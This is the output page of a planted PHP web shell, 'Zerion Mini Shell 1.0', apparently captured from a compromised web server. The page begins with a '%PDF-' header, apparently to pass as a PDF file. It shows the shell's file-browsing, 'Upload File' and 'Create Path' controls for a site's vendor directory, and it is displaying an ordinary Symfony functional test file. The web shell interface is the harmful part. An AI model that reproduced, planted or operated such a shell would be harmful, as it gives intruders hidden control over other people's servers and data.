%PDF- %PDF-
Mini Shell

Mini Shell

Direktori : /home/emtnaeewxm/www/vendor/sensio/framework-extra-bundle/Tests/Functional/
Upload File :
Create Path :
Current File : /home/emtnaeewxm/www/vendor/sensio/framework-extra-bundle/Tests/Functional/Psr7RequestTest.php

<?php

/*
 * This file is part of the Symfony package.
 *
 * (c) Fabien Potencier <fabien@symfony.com>
 *
 * For the full copyright and license information, please view the LICENSE
 * file that was distributed with this source code.
 */

use Symfony\Bundle\FrameworkBundle\Test\WebTestCase;

class Psr7RequestTest extends WebTestCase
{
    /**
     * @dataProvider urlProvider
     */
    public function testController($url)
    {
        $client = self::createClient();
        $crawler = $client->request('GET', $url);

        $this->assertEquals('ok', $crawler->filterXPath('//body')->html());
    }

    public static function urlProvider()
    {
        return [
            ['/action-arguments/normal/'],
            ['/action-arguments/invoke/'],
        ];
    }
}

Zerion Mini Shell 1.0